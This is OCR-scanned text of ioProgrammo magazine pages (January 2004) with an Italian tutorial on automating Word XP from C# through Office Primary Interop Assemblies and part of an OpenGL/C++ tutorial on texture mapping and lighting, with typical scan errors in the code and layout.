using System. Reflection; 

che ci permetterà di creare un oggetto Application, 
il quale rappresenta un istanza dell'applicazione 
Word. Il namespace System.Reflection è altrettanto 
necessario, vedremo tra breve perché. 

//Crea un'applicazione Word 




^ m 



PRIMARY 

IMTEROP 

ASSEMBLIES 

I PIA o assembly di 
interoperabilità 
primari sono forniti 
dallo stesso autore 
della type library da 
essi descritta e 
forniscono le 
definizioni ufficiali dei 
tipi definiti con tale 
libreria. Gli assembly di 
interoperabilità 
primari sono sempre 
firmati dal relativo 
editore, per 
assicurarne l'univocità. 
Un PIA viene creato da 
una libreria dei tipi 
eseguendo Tlblmp con 
l'opzione "/primary" 
dopo aver indicato 
l'assembly come 
primario con l'utilizzo 
dell'attributo 
PrimarylnteropAssembl 
yAttribute. Quando si 
utilizzano i tipi definiti 
in una libreria dei tipi, 
fare sempre 
riferimento al PIA per 
tale libreria, anziché 
reimportare o 
ridefinire i tipi stessi. 
Inoltre bisogna evitare 
di utilizzare assembly 
di interoperabilità che 
non siano primari. 



http://www.ioprogrammo.it 



Gennaio 2004/79 ► 



SISTEMA T ■ Interoperabilità COM / .NET 




Application appWord=new Application() 

L'oggetto appWord mette a disposizione dei metodi 
e delle proprietà per interagire con Microsoft Word, 
ad esempio possiamo immediatamente ricavare la 
versione di Word installata, per mezzo della pro- 
prietà Version: 



diata. Lo stesso esempio è compilabile dal prompt, 
ricordandosi di referenziare ancora l'assembly ne- 
cessario, ad esempio in questa maniera: 

csc/r:"C:\OfficeXPPIAs\Microsoft.Office. 

Interop. Word. dir EsempioConsoleWord.es 




SUL WEB 



Home Page degli Office 
XP PIAs 

htt p://msd n . m icrosoft.com/ 

library/default.asp?url=/ 

library/en-us/dnoxpta/html 

/ode oxppias.asp 

Working with Office XP 

Primary Interop 

Assemblies 

htt p://msd n . m icrosoft.com/ 

library/en-us/dnoxpta 

/htmi/odc oxppias.asp? 

frame=tru 



Console. Writel_ine("l_a versione di Word installata è: 

"+appWord. Version); 

Vediamo ora come attivare Word, rendendolo visibi- 
le all'utente 

appWord.Visible=true; 

Console.WriteLine("Premi invio per chiudere Word"); 

Console.ReadLineQ; 

object saveChanges = Missing.Value; 

object originalFormat = Missing.Value; 

object routeDocument = Missing.Value; 

appWord.Quit(ref saveChanges,ref originalFormat,ref 

routeDocument); 

Settando la proprietà Visible a true, rendiamo Word 
visibile, a questo punto blocchiamo l'applicazione 
aspettando una pressione del tasto invio, e con il 
metodo Quit chiudiamo l'istanza di Word aperta. 
Come avrete notato il metodo Quit accetta tre para- 
metri di tipo ref object, ma in questo caso bastereb- 
be non passare nessun valore per utilizzare i valori di 
default, come molti sviluppatori Visual Basic saran- 
no abituati a fare. Purtroppo non è consentito in C# 
l'uso dei parametri opzionali, quindi è necessario 
utilizzare la classe Missing (contenuta nel name- 
space System.Reflection, ecco il perché dello using 
relativo!), che rappresenta un parametro object 
mancante. Il membro statico Value è l'unico mem- 
bro della classe Missing, e ne rappresenta l'unica 
istanza. Lanciando la generazione del progetto ed 
eseguendolo potrete verificare l'apertura di Word e, 
alla pressione del tasto Invio, la sua chiusura imme- 




OBJECT VIEWER 

Visual Studio fornisce gli strumenti 
adatti a lavorare con librerie di tipi 
COM. Ad esempio con il 
visualizzatore oggetti di Visual 
Studio.NET possiamo esplorare i 
riferimenti del nostro progetto, e 
visualizzare ad esempio i metodi e 
le interfacce esposte dagli 
assemblies contenuti nel pacchetto 
Office XP PIAs. 

Il Visualizzatore Oggetti si attiva 
dal menù Visual izza-> Altre 
finestre, oppure tramite la 



pressione di tasti CTRL + ALT + J. 
Sulla sinistra vedremo e potremo 
selezionare tutti gli oggetti delle 
nostre soluzioni e contenuti nei 
riferimenti, e sulla destra verranno 
visualizzati i membri dell'oggetto 
selezionato. 

Ad esempio selezionando il 
riferimento 

Microsoft.Office.Interop.Word ed 
espandendo l'albero avremo una 
veloce guida alle classi utilizzabili 
nelle nostre applicazioni. 



CREARE UN 
DOCUMENTO WORD 

Nel paragrafo precedente abbiamo visto come apri- 
re l'applicazione, ma non abbiamo né aperto un do- 
cumento esistente né creato uno da zero. Vediamo 
subito come fare: aprire Word e richiuderlo non ha 
una così grande utilità! Iniziamo dal creare un nuovo 
documento, per far ciò bisogna aggiungere alla col- 
lezione Documents di un oggetto WordApplication 
un nuovo elemento, ed a questo punto sull'oggetto 
Word.Document così ottenuto potremo lavorare 
inserendo testi, tabelle, ed effettuando tutte le ope- 
razioni che sono permesse per mezzo di Word XE 
Innanzitutto è conveniente usare un alias per il na- 
mespace Microsoft.Office.Interop.Word in modo da 
evitare conflitti con la classe System.Windows.- 
FormsApplication, e per far ciò utilizziamo la parola 
chiave using in questa maniera: 

using Word = Microsoft.Office.Interop.Word; 

Questo ci permette di aggiungere al nostro codice o 
alle nostre classi delle variabili di tipo WordAppli- 
cation piuttosto che chiamarle per intero con il no- 
me assoluto Microsoft.Office.Interop.WordApplica- 
tion, vediamo subito allora come creare un nuovo 
documento e scriverci dentro del testo, ad esempio 
la stringa ioProgrammo: 

//l'oggetto opt è usato per gestire i parametri opzionali 

dei metodi 

object opt=Missing.Value; 

// Creiamo un nuovo documento. 

// Settando tutti gli argomenti al valore Missing.Value è 
// equivalente a non fornire nessun argomento per un 

parametro opzionale in VB. 

// Cioè verranno usati valori di default. 

object template=Missing.Value; //Non usare un template. 
object newTemplate= Missing. Value; 

//Non creare un template. 

object documentType= Missing.Value; 

//documento Plain old text. 

object visible=true; //Mostra il documento mentre 

ci lavoriamo. 

Word.Document objDoc = appWord. Documents. Add( 

ref template, ref newTemplate, 

ref documentType, ref visible); 

//inseriamo la stringa ioProgrammo come prima Parola 
objDoc.Words. First. InsertBefore("ioProgrammo"); 



^ 80/Gennaio 2004 



http://www.ioprogrammo.it 



Intel-operabilità COM / .NET ■ T SISTEMA 



APRIRE E SALVARE 
IL DOCUMENTO 

La classe Document contiene ed espone, come det- 
to, una miriade di metodi e proprietà, e non baste- 
rebbe l'intero numero della rivista per esporli tutti. 
Dotandosi di buona volontà, della documentazione, 
soprattutto del modello ad oggetti di Word, e maga- 
ri di Visual Studio e del suo Visualizzatore Oggetti 
(vedi Box 1) o di un tool con auto completamento 
del codice, riuscirete a sfruttare tutte le potenzialità 
di Word (e di Office in generale). Noi vedremo qual- 
che altro piccolo esempio per fare un po' di pratica e 
per studiare il funzionamento del tutto. Dopo aver 
inserito il testo dobbiamo salvare il documento, e 
per far ciò possiamo scegliere di farlo in formato XP 
o nel vecchio formato. La classe document fornisce 
infatti i metodi SaveAs e SaveAs2000, oltre al Save per 
salvare un documento esistente. Naturalmente per 
poter usare il metodo SaveAs2000 dobbiamo assicu- 
rarci di avere sulla macchina la versione di Word 
adeguata, che possiamo ricavare dalla proprietà 
Version della classe WordApplication (Word XP cor- 
risponde alla versione 10.0) 

object fileName = Environment.CurrentDirectory 

+ "\\documento.doc"; 

object optional = Missing.Value; //valori opzionali di default. 
if(app.Version=="10.0"= doc.SaveAs20QQ(ref fileName, 

ref optional, ref optional, ref optional, ref optional, 
ref optional, ref optional, ref optional, 

ref optional, ref optional, ref optional); 

else doc. SaveAs (ref fileName, ref optional, ref optional, 

ref optional, ref optional, ref optional, ref optional, 
ref optional, ref optional, ref optional, ref optional); 

Alla fine, non dimentichiamo mai di chiudere l'ap- 
plicazione, se non vogliamo che restino occupate un 
sacco di risorse: 

object saveChanges = true; // avvisa se il documento 

non è stato salvato 

app.Quit(ref saveChanges, ref optional, ref optional); 

E' possibile naturalmente aprire un documento esi- 
stente invece di crearne uno ex-novo, ed anche per 
tale procedura esistono due metodi, a seconda della 
versione di Word installata sulla nostra macchina, 
Open2000() ed OpenQ, ad esempio: 



_Document doc = 


app.Documents.Open2000(ref fileName, 


ref optional, 


ref optional, ref optional, ref optional, 


ref optional, 


ref optional, ref optional, ref optional, 




ref optional, ref optional, ref visible); 



lavorarci mantenendola nascosta. Per i nostri scopi 
sarebbe buona cosa lasciarla visibile, magari se- 
guendo passo passo i cambiamenti che avvengono 
nel documento. 



MODIFICA 

UHI DOCUMENTO 



L'ultimo argomento dei due metodi di aperture per- 
mette di specificare se rendere visibile l'applicazio- 
ne Word con il documento appena aperto oppure se 



Per modificare il contenuto di un documento, ad 
esempio il testo, dovremo avere a che fare con ogget- 
ti Range. Un oggetto Range rappresenta un'area con- 
tigua di documento, ed è possibile quindi utilizzarlo 
per identificare ogni parte di un documento. Una 
volta ottenuto un oggetto Range possiamo interve- 
nire su di esso per applicare formati e scrivere testo. 
Ad esempio per inserire del testo all'inizio di un 
documento possiamo scrivere: 

object start=0; 

object end=0; 

//otteniamo il range che identifica l'inizio del 

documento objDoc 

Word.Range range=objDoc.Range(ref start,ref end); 

//inseriamo la stringa "ioProgrammo" 

range. InsertBefore("ioProgrammo"); 

Come detto prima possiamo anche applicare dei 
formati tramite l'oggetto Range, ad esempio le pro- 
prietà Bold ed Italie permettono di applicare il gras- 
setto ed il corsivo. Come spesso accadrà lavorando 
con gli oggetti di Word tramite C#, bisogna stare 
attenti ai tipi, ad esempio Bold e Italie sono due pro- 
prietà che in Visual Basic potevamo impostare utiliz- 
zando True e False, ma in realtà le proprietà sono dei 
valori di tipo intero, quindi non possiamo utilizzare 
in C# il tipo bool, ma dobbiamo impostarle median- 
te il valore per dire false, ed un valore non nullo per 
dire true; 

range.Bold = l; // applica il Grassetto 

range. Italic=0;// rimuove il corsivo 



CREAZIONE 
DELLE TABELLE 

Le tabelle di un documento sono contenute nella 
collezione Tables di un oggetto Document, quindi 
per aggiungerne una è sufficiente utilizzare ancora il 
metodo Add, specificando il numero di righe e di 
colonne che dovrà contenere la nostra tabella, ad 
esempio il codice seguente crea un documento ed 
all'interno di questo inserisce una tabella di 4 righe 
e cinque colonne: 

int nRows=4; //numero di righe 

int nCols=5; // numero di rolonne 




Il pacchetto degli Office 
XP PIAs include i 
seguenti assemblies: 



adodb.dll 

dao.dll 

Microsoft. Vbe.lnterop.dll 

mscomctl.dll 

msdatasrc.dll 

office.dll 

stdole.dll 

.Access.dll 

.Excel.dll 

.FrontPage.dll 

.FrontPageEditor.dll 

.Graph.dll 

.Outlook.dll 

.OutlookViewCtl.dll 

.Owc.dll 

.PowerPoint.dll 

.Publisher.dll 

.SmartTag.dll 

.Visio.dll 

.Word.dll 

nella gerarchia 
Microsoft. Office. Interop 



http://www.ioprogrammo.it 



Gennaio 2004/81 ► 



SISTEMA T ■ Interoperabilità COM / .NET 





• PROFESSIONAL C# 

Robinson et al. 

(Wrox Press.) 

• RIFERIMENTI A 

MICROSOFT WORD 

VISUAL BASIC 

(vbawdIO.chm) 




Antonio Pelleriti è 

ingegnere informatico 

ed attualmente lavora 

presso un centro di 

sviluppo software di 

una azienda 

multinazionale. Si 

occupa di processi di 

sviluppo, 

progettazione object- 

oriented in UML, 

sviluppo di software in 

C++, Visual C++, C#, 

Java. Potete 

contattarlo all'indirizzo 

antonio.pelleriti@visua 

lcsharp.it 



object opt=Missing.Value; 

//creiamo la tabella table 

Word.Table table=objDoc.Tables.Add(objDoc.l_ast.Range, 

nRows, nCoIs, ref opt, //DefaultTableBehaviour 

ref opt); //AutoFitBehaviour 

Scriviamo adesso all'interno delle celle. Innanzitutto 
inseriamo un'intestazione per ogni colonna nella 
prima riga della tabella, ad esempio la stringa 
Colonnal, Colonna2 ecc., utilizzando inoltre per tale 
riga lo stile grassetto. Per raggiungere tale scopo ba- 
sta accedere alle righe della tabella mediante l'indi- 
cizzatore Rows della classe Table, ricordandoci che 
gli indici devono partire da 1, a questo saranno abi- 
tuati gli sviluppatori Visual basic. Anche qui per ap- 
plicare il formato e scrivere il testo dobbiamo agire 
mediante la proprietà Range degli oggetti Row: 

//impostiamo per la prima riga lo stile grassetto 

table. Rows[l]. Range. Bold = l; 

for(int i = l;i< = nCols;i++) { 

//in ogni cella della prima riga inseriamo 
l'intestazione "Colonna \" 

table. Rows[l].Cells[i]. Range. Text="Colonna "+i; 
} 



- **e*0- j- i» *. 







Fig. 5: La tabella inserita da codice. 

Notate come, anche per accedere alle singole celle 
l'indice di partenza è l'uno e non lo zero. Lo stesso 
scopo si poteva ottenere accedendo direttamente 
alle celle, meccanismo utilizzabile per scrivere natu- 
ralmente anche in ogni altra cella della tabella, 
mediante il metodo Cellfint r } int e) che restituisce 
un oggetto Celi corrispondente agli indici specificati 
come argomenti. Ad esempio per inserire una strin- 
ga nell'ultima cella in basso a destra (vedi Figura 5) 
possiamo scrivere: 

Word.Cell cell=table.Cell(nRows,nCols); 

Celi. Range. Text= "Ultima cella"; 



COSA SUCCEDE 

ini 



È possibile, oltre che interagire con un documento 
da codice, come abbiamo visto finora, monitorare 
quello che accade nell'applicazione Word, vale a dire 



seguirne tutti gli eventi, come il cambiamento del 
contenuto, l'apertura del documento stesso, il suo 
salvataggio e quant' altro vogliamo, anche lo sposta- 
mento o il ridimensionamento della finestra di 
Word. Nelle righe seguenti vediamo come aggiunge- 
re agli eventi di DocumentChange, WindowSize, Do- 
cumentOpen e DocumentSave i relativi metodi di ge- 
stione, che abbiamo chiamato rispettivamente 
DocChange, WordResize, OpenDoc, e Savedoc: 

app=new Word.ApplicationQ; 

Word.ApplicationEvents3_DocumentChangeEventHandler 

myChangeDoc = new 

Word.ApplicationEvents3_DocumentChangeEventHandler 

(DocChange); 

app. DocumentChange + = myChangeDoc; 

Word.ApplicationEvents3_WindowSizeEventHandler 

myResize=new Word.ApplicationEvents3_ 

WindowSizeEventHandler(WordResize); 

app.WindowSize+=myResize; 

Word.ApplicationEvents3_DocumentOpenEventHandler 
myOpenDoc=new Word.ApplicationEvents3_ 

DocumentOpenEventHandler(OpenDoc); 

app.DocumentOpen+=myOpenDoc; 

Word.ApplicationEvents3_ 

DocumentBeforeSaveEventHandler myDocSave=new 
Word.ApplicationEvents3_ 

DocumentBeforeSaveEventHandler(SaveDoc); 

app.DocumentBeforeSave+ = myDocSave; 

A questo punto bisogna fornire l'implementazione 
dei metodi di gestione, ad esempio possiamo gestire 
i messaggi di ridimensionamento della finestra di 
word con il metodo seguente, che stampa le dimen- 
sioni della nuova finestra: 

public void WordResize(Word.Document 

doc,Word.Window window) { 

Console. Writel_ine("Nuova dimensione: 

("+ window. Width+","+ window. Height+")"); } 

Sul ed allegato troverete comunque un esempio che 
gestisce tutti gli eventi detti prima. 



E LE ALTRE 
APPLICAZIONI? 

I Primary Interop Assemblies di Office XP permetto- 
no di interagire con tutte le applicazioni del pac- 
chetto Office XP di Microsoft. In questo articolo 
abbiamo visto come sia possibile programmare 
Word XP usando il linguaggio C#, e naturalmente il 
tutto è valido per ogni altro linguaggio supportato 
dal .NET framework. Nel prossimo articolo vedremo 
anche come interagire con le altre applicazioni 
Office. 

Antonio Pelleriti 



► 82/Gennaio 2004 



http://www.ioprogrammo.it 



Multimedia ■ T SISTEMA 



Effetti speciali 3P con C++ e OpenGL - seconda parte 

L'applicazione 
di effetti digitali 

In quest'articolo approfondiremo e concluderemo la descrizione 
dei principali comandi OpenGL che abbiamo iniziato sul numero 
scorso, mostrando i dettagli dell'implementazione 3D. 



Dopo aver assimilato le nozioni di base, 
siamo pronti per metterle in pratica e dare 
libero sfogo alla nostra immaginazione! 
Ricordo che questo articolo vuole essere una pre- 
sentazione (certo, non esaustiva) di ciò che è pos- 
sibile realizzare con OpenGL, con un po' di fanta- 
sia: vuole darvi uno spunto e le conoscenze di par- 
tenza, dopodiché la vostra guida sarà la vostra 
creatività... gli effetti 3D più realistici e suggestivi 
si ottengono attraverso complesse combinazioni 
di comandi, e certo nessun articolo potrebbe 
descriverle tutte! Se questo aspetto suscita in voi 
interesse potete contattarmi e avremo l'opportu- 
nità di discuterne insieme. 



UNA PANORAMICA 
DEI DIVERSI EFFETTI 

Il programma di esempio è stato realizzato con l'i- 
dea di consentire ad ogni effetto di essere apprez- 
zato singolarmente o in combinazione con altri: 
potete quindi attivare o disattivare ciascuno di essi 
utilizzando i tasti funzione (da FI a F6). Inoltre, 
potete visualizzarli in diverse modalità: la prima è 
quella che mostra il modellino nella "semplicità" 
dei punti che lo compongono; per attivare questa 




modalità, lanciamo il programma e impostiamo 
ad q/ftutti gli effetti e a Points la modalità di visua- 
lizzazione (con il tasto F7). Il numero totale di ver- 
tici di cui è composto il nostro elicottero è quasi 
quattromila, e il risultato è quello presente in Fig. 
1. La seconda modalità è quella comunemente 
nota come wireframe: il modellino mostra le linee 
di interconnessione tra i vertici, e il suo aspetto è 
quello che avrebbe in un programma CAD. La 
terza ed ultima modalità è quella solid: le facce che 
compongono il modellino sono riempite con un 
colore uniforme. Per apprezzare a pieno questa 
modalità è utile attivare l'effetto luce: le facce 
avranno una tonalità di colore diversa a seconda 




Fig. 1: L'elicottero in modalità point. 



Fig. 2: L'elicottero con luce e smooth shading attivi. 

della loro posizione rispetto alla sorgente di luce 
(altrimenti avrebbero tutte la stessa tonalità); in 
questo modo apparirà chiara la composizione 
delle facce dell'elicottero. La luce è il primo tra i 
diversi effetti che implementeremo ed è indispen- 
sabile in ogni applicazione 3D; un oggetto tridi- 
mensionale, infatti, non apparirà mai tanto rea- 
listico se non è illuminato. Un altro effetto, ad esso 
direttamente collegato, e di paragonabile impor- 
tanza nella realizzazione di scene realistiche è 
l'ombra, che per la sua complessità richiede una 
trattazione a sé (se è di vostro interesse, potrà tro- 




http://www.ioprogrammo.it 



Gennaio 2004/83 ► 



SISTEMA T 



Multimedia 




vare posto in un nuovo numero di questa rivista). 
Il secondo effetto è lo smooth shading; questo con- 
sente di avere sfumature tra i vertici che descrivo- 
no le facce del modellino. Ogni faccia non apparirà 
più colorata uniformemente, ma il colore di ogni 
punto di cui è composta sarà calcolato a partire 
dai colori assegnati ai suoi vertici. Nel nostro caso, 
quindi, applicare lo smooth shading è utile solo se 
è attiva anche la luce, che permette ai vertici di 
assumere un colore diverso in base alla loro posi- 
zione relativa rispetto alla fonte di luce (altrimenti 
i vertici avrebbero lo stesso colore e la sfumatura 
non sarebbe visibile). Il risultato è presentato in 
Fig. 2. L'effetto di gran lunga più comune in tutti i 




VETTORI NORMALI E MATERIALI 



Abbiamo descritto come attivare 
una luce e specificare un valore per 
le sue componenti: d'ambiente, 
diffusa o speculare. Nel primo caso 
la luce non proviene da una di- 
rezione particolare, quindi l'intero 
oggetto appare illuminato uni- 
formemente. Negli altri casi, però, 
la fonte di luce ha una posizione 
precisa nello spazio e i raggi che 
arrivano ad ogni punto hanno una 
direzione specifica. Come fa dun- 
que OpenGL a calcolare l'orienta- 



mento nello spazio di ogni vertice e 
quindi il suo colore? La soluzione 
consiste nello specificare per ogni 
vertice il suo vettore normale, cioè 
un vettore la cui direzione è per- 
pendicolare ad una superficie e 
punta verso l'esterno della super- 
ficie stessa. 

Per specificare un vettore normale 
si utilizza il comando gINormal 
all'interno di un blocco glBegin- 
glEnd, prima del comando gIVertex 
a cui si riferisce. 



videogiochi è il texture mapping. Consiste nelF ap- 
plicare un'immagine (o texture) ad una o più facce 
di un oggetto, incrementandone la resa qualitativa 
e riducendo i calcoli che sarebbero richiesti per 
rappresentare la stessa immagine con le primitive 
standard (anche se questo avrebbe il vantaggio di 
una maggiore definizione). Ciò non significa che 
quest'effetto non sia dispendioso in termini di 
risorse, sia per i calcoli necessari che per la memo- 
ria richiesta per conservare le immagini. Ma, data 
la sua notevole diffusione, le moderne schede gra- 




Fig. 3: L'elicottero con texture mapping, luce e 
smooth shading attivi. 



fiche sono fortemente ottimizzate e forniscono 
quantitativi di memoria dedicata sempre più alti; 
OpenGL mette a disposizione gli strumenti giusti 
per utilizzarle correttamente ed in maniera effi- 
ciente. In Fig. 3 mostriamo una combinazione di 
tutti gli effetti descritti finora. All'ultima immagine 
che abbiamo mostrato applicheremo separata- 
mente due nuovi effetti: blending e fog. Utiliz- 
ziamo il primo per rendere semi-trasparenti le fac- 
ce del nostro modellino; è utile quindi per au- 
mentare il realismo simulando, per esempio, 
materiali come il vetro o l'acqua. Nell'esempio 
applicheremo il blending a tutto il modellino, così 
che le facce in primo piano lascino trasparire quel- 
le in secondo piano e l'elicottero appaia quasi un 
"fantasma". Attivando il background a stella, che 
abbiamo implementato nella prima parte dell'ar- 
ticolo, possiamo apprezzare chiaramente il risul- 
tato: la stella risulta visibile anche attraverso l'eli- 
cottero; utile come dimostrazione anche se un po' 
fantasiosa! L'effetto fog (nebbia) è utile per mostra- 
re scene in cui la visibilità è precaria, per la rarefa- 
zione dell'aria dovuta, per esempio, a motivi at- 
mosferici o alla presenza di fumo o smog. Scopri- 
remo felicemente che, sebbene quest'effetto possa 
dar vita a scene davvero realistiche, non richiede 
alcuno sforzo da parte nostra e può essere imple- 
mentato in OpenGL con estrema semplicità. Oltre- 
tutto può essere utile anche per ridurre la quantità 
di calcoli necessari per mostrare scene all'aperto, 
come avviene in alcuni videogiochi: dal momento 
che alcuni oggetti si trovano troppo lontani dal 
nostro punto di vista e la nebbia li rende invisibili, 
possono essere trascurati del tutto e non visua- 
lizzati. Tutti gli effetti che abbiamo descritto ri- 
chiedono, soprattutto se sono combinati tra loro e 
la scena è complessa, l'uso di liste di visualizzazio- 
ne. 



LISTE DI 
VISUALIZZAZIONE 

Una lista di visualizzazione (display list) è un siste- 
ma per memorizzare un gruppo di comandi Open- 
GL correlati, così che siano conservati in una 
memoria dedicata ed eseguiti più velocemente. 
Dopo aver creato una lista possiamo richiamarla 
in ogni momento: i comandi verranno eseguiti 
nell'ordine che abbiamo specificato durante la 
creazione. Questo lascia trasparire la principale 
limitazione nell'uso di questa funzionalità: non 
possiamo utilizzare display list nel caso in cui non 
conosciamo il valore di alcuni parametri necessari 
per la visualizzazione, ma li conosceremo solo in 
qualche momento durante l'esecuzione del pro- 
gramma. Pensate, ad esempio, al numero di foto- 
grammi al secondo che viene mostrato in alto 



► 84/Gennaio 2004 



http://www.ioprogrammo.it 



Multimedia 



T SISTEMA 



sullo schermo: questa variabile dipende dalle 
caratteristiche del computer sul quale il pro- 
gramma viene eseguito, e verrà ricalcolato ogni 
secondo in base al numero di volte che è stato 
effettivamente aggiornata la scena. Nel nostro 
esempio useremo diverse liste di visualizzazione 
(come possiamo vedere in Fig. 10), e la classe Di- 
splayList renderà semplice la loro creazione e il 
loro utilizzo. Ci basterà creare una classe che deri- 
vi da DisplayList per ereditare il suo funzionamen- 
to: in più, specializzeremo il comportamento della 
nuova classe implementando il metodo virtuale 
Draw y cioè quello che contiene l'insieme di 
comandi che desideriamo memorizzare. 



TEXTURE MAPPING 

Come possiamo vedere dalle immagini, il texture 
mapping è un effetto essenziale in una scena 3D; 
scegliendo qualsiasi altra combinazione tra gli 
effetti disponibili, il nostro elicottero non appari- 
rebbe mai altrettanto realistico. I passi seguenti 
mostrano come creare una texture: 

• carichiamo un'immagine da file; 

• generiamo un ID univoco per la texture; 

• definiamo una texture con i dati dell'immagine 
caricata; 

• scegliamo la modalità di filtering. 

La classe Texture del nostro framework rende 
immediata la creazione di texture: 




VELOCITA DI ESECUZIONE 

Generalmente ci aspettiamo che 
un'animazione 3D si muova più 
velocemente se il pc su cui gira 
vanta una scheda grafica di buona 
qualità. Questo può non essere il 
nostro intento; pensate un attimo 
a cosa succederebbe se, durante 
una partita ad un videogioco in 
modalità multiplayer, affron- 
tassimo un avversario che gioca su 
un pc più potente del nostro: se la 
velocità di movimento fosse 
legata alla velocità del computer, 
il nostro avversario sarebbe più 
veloce di noi e ci sconfiggerebbe 
in un batter d'occhio. Provando 
l'esempio che accompagna 
l'articolo su computer diversi 



noterete che la velocità dell'ani- 
mazione è costante, indipen- 
dentemente dalla velocità del 
sistema. Ciò che cambia è la 
fluidità dell'animazione: un pc 
molto potente mostrerà un'ani- 
mazione fluida, con un elevato 
frame rate. La soluzione è quella 
di associare al tempo, la cui pro- 
gressione rimane costante su 
qualsiasi sistema, le variabili di 
nostro interesse (la distanza 
percorsa da un giocatore, l'angolo 
di rotazione di un oggetto): 
normalmente ciò viene realizzato 
utilizzando un high-resolution 
timer (per un esempio, date uno 
sguardo al metodo RenderScene). 



Texture m_texFont; 

m_texFont.Load(_TEXT("Font.bmp"), false, 

GLJJNEAR, GLJJNEAR); 

Il metodo Load si occupa di eseguire i passi 
descritti per noi: 

bool Texture:: Load (const TCHAR* pszFileName, bool 

bEnableMipmapping, 

GLenum nMinFilter, GLenum nMagFilter) { 

ASSERT (pszFileName != NULL); 

AUX_RGBImageRec* pDib = 

auxDIBImageLoad(pszFileName); 

if (pDib == NULL) 

return false; 

GenerateQ; 

ASSERT (m_nID != 0); 

// Bind the texture to the texture arrays index and 

init the texture 

gIBindTexture (GL_TEXTURE_2D, m_nID); 

if (bEnableMipmapping) 



Per caricare l'immagine da file utilizziamo la fun- 
zione auxDIBImageLoad di glaux (la libreria ausi- 
liaria di OpenGL); al termine la funzione restitui- 
sce un puntatore ad una struttura di tipo AUX_ 
RGBImageRec che conterrà la dimensione dell'im- 
magine e i dati che descrivono i sui pixel, secondo 
il suo formato. Poi generiamo un ID che identifica 
univocamente la texture con Generate che chiama 
direttamente la funzione OpenGL glGenTextures. 
Con gIBindTexture impostiamo 1ÌD della texture 
corrente, cioè quella sulla quale avranno effetto i 
comandi OpenGL che eseguiremo. 
Utilizziamo il comando glTexImage2D per creare 
una texture a due dimensioni dall'immagine appe- 
na caricata, secondo le sue dimensioni ed il for- 
mato dei pixel. Infine, con glTexParameteri sce- 
gliamo la modalità di filtering, cioè il modo in cui 
verranno interpolati i dati di una texture quando il 
poligono al quale verrà applicata è più piccolo o 
più grande rispetto alle dimensioni della sua 
immagine. Il filtering ed il mip mapping permetto - 



http://www.ioprogrammo.it 



Gennaio 2004/85 ► 



SISTEMA T 



Multimedia 




STRUMENTI 
PER IL DEBUG 

Coloro che utilizzano 

abitualmente 

l'ambiente Visual C++ 

per realizzare 

applicazioni MFC 

possono contare su 

una serie di utilità per 

il debugging che non 

sono disponibili per 

applicazioni Win32: le 

macro ASSERT/VERIFY, 

la macro TRACE per 

scrivere sulla finestra 

di output, 

l'overloading degli 

operatori new e de lete 

per tener traccia di 

eventuali memory 

leaks. Nel nostro 

framework (che non fa 

alcun uso di MFC) 

abbiamo 

implementato tutte 

queste funzionalità 

apparentemente 

semplici, ma davvero 

utili per rendere 

efficace lo sviluppo e il 

testi ng in modalità di 

DEBUG e che 

spariscono del tutto in 

RELEASE. 



no di rendere le texture meno "sgranate" quando 
non vengono mostrate nella loro dimensione 
naturale, cioè quella in cui l'immagine associata è 
stata disegnata. Infatti, un oggetto molto lontano o 
molto vicino al punto di vista dell'osservatore met- 
terebbe in risalto la sgranatura dell'immagine per 
via del rimpicciolimento o dell'ingrandimento che 
viene effettuato da OpenGL. Con il comando 
gluBuild2Dmipmaps possiamo creare automati- 
camente in anticipo delle immagini (a partire da 
una singola texture) via via più piccole, che vengo- 
no pre-filtrate in modo che la resa visiva sia otti- 
male. Per applicare una texture ad un poligono 
dobbiamo aggiungere un comando per ogni verti- 
ce nel blocco compreso tra glBegin e glEnd, ciò che 
descrive la primitiva che intendiamo disegnare. Il 
comando è glTexCoord (disponibile in numerose 
varianti) e stabilisce per ogni vertice quale sarà il 
punto di riferimento all'interno dell'immagine che 
verrà ad esso "incollato". Il caso più semplice è 
quello di un quadrilatero, in cui ad ognuno dei 
quattro vertici corrisponde un'estremità dell'im- 
magine: 

glBegin(GL_QUADS); 

glTexCoord2f(0.0f, O.Of); glVertex3f(-1.0f, -l.Of, l.Of); 

// bottom left 

glTexCoord2f(1.0f, O.Of); glVertex3f( l.Of, -l.Of, l.Of); 

// bottom right 

glTexCoord2f(1.0f, l.Of); glVertex3f( l.Of, l.Of, l.Of); //top right 
glTexCoord2f(0.0f, l.Of); glVertex3f(-1.0f, l.Of, l.Of); //top left 
glEnd(); 

È il modo in cui, nel nostro esempio, visualizziamo 
del testo sullo schermo. Vi sembrerà strano, ma 
OpenGL non fornisce un metodo "immediato" per 
stampare dei caratteri: risolviamo il problema 
creando una texture contenente l'insieme comple- 
to dei caratteri che desideriamo visualizzare, poi 
creiamo un quadrilatero per ogni carattere e speci- 
fichiamo la sua posizione all'interno della texture. 
Per rendere più immediata questa soluzione, 
abbiamo preparato la funzione TextOut, che pren- 
de in ingresso il testo da stampare e la sua posizio- 
ne nello spazio. 



GESTIRE LA LUCE 
COM OPEN GL 

OpenGL definisce luce d'ambiente, diffusa e spe- 
culare: ciascuna di queste ha delle caratteristiche 
particolari. La luce d'ambiente è quella di cui non 
distinguiamo la sorgente; gli oggetti appaiono così 
ugualmente illuminati da far pensare che la luce 
provenga da ogni direzione. Le luci diffusa e spe- 
culare provengono da una sorgente ben nota; la 
differenza è che nel primo caso l'oggetto illumina- 



to tende a riflettere la luce ugualmente in ogni 
direzione, nel secondo la luce viene riflessa in una 
particolare direzione. Nella realtà quotidiana, è 
difficile pensare ad una luce che faccia parte di 
una sola di queste categorie; è, invece, costituita 
da intensità differenti di ciascuna delle tre compo- 
nenti. Nel nostro esempio, l'elicottero è illuminato 
da una luce d'ambiente e una diffusa, quest'ultima 
proveniente da un punto ideale che ruota attorno 
all'oggetto. I passi che seguiamo per attivare la 
luce sono i seguenti: 

GLfloat fAmbientLight[] = { 0.6f, 0.6f, O.lf, l.Of}; 
GLfloat fDiffuseLight[] = { 0.9f, 0.9f, 0.9f, l.Of }; 
Glfloat fLightPos[] = { O.Of, O.Of, -120.0f, l.Of }; 
glLightfv(GL_LIGHTO, GL_AMBIENT, fAmbientLight); 
glLightfv(GL_LIGHTO, GL_DIFFUSE, fPiffuseLight); 
glLightfv(GL_LIGHTO, GL_POSITION, fLightPos); 
glEnable(GL_LIGHTO); 

Definiamo il colore per le due componenti e li pas- 
siamo al comando glLight sotto forma di array, la 
prima volta specificando il parametro GL_AM- 
BIENTe la seconda GL_DIFFUSE; con il parametro 
